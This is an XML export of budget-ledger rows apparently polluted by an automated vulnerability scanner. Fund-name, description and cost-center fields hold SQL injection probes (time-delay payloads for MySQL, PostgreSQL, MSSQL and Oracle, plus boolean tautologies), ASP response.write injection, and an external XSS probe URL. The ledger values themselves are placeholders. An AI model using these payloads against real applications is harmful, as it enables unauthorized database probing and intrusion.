<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select 198766*667891)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUDRASYuQy</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU����%2527%2522\'\"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>oL7dOKIr: s6eSfdgO</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 or '17WXvMjN'='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 or "R1gp3aES"="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>if(now()=sysdate(),sleep(15),0)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>response.write(9139658*9600593)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUqj9up77A'; waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUcnZPInjg' OR 653=(SELECT 653 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUbOen5OmQ') OR 260=(SELECT 260 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU3TqfkmIb')) OR 236=(SELECT 236 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU&amp;n989250=v960990</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>HttP://bxss.me/t/xss.html?%00</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU'"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU����%2527%2522\'\"</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>@@WZ2bZ</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>'+response.write(9139658*9600593)+'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891 from DUAL)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
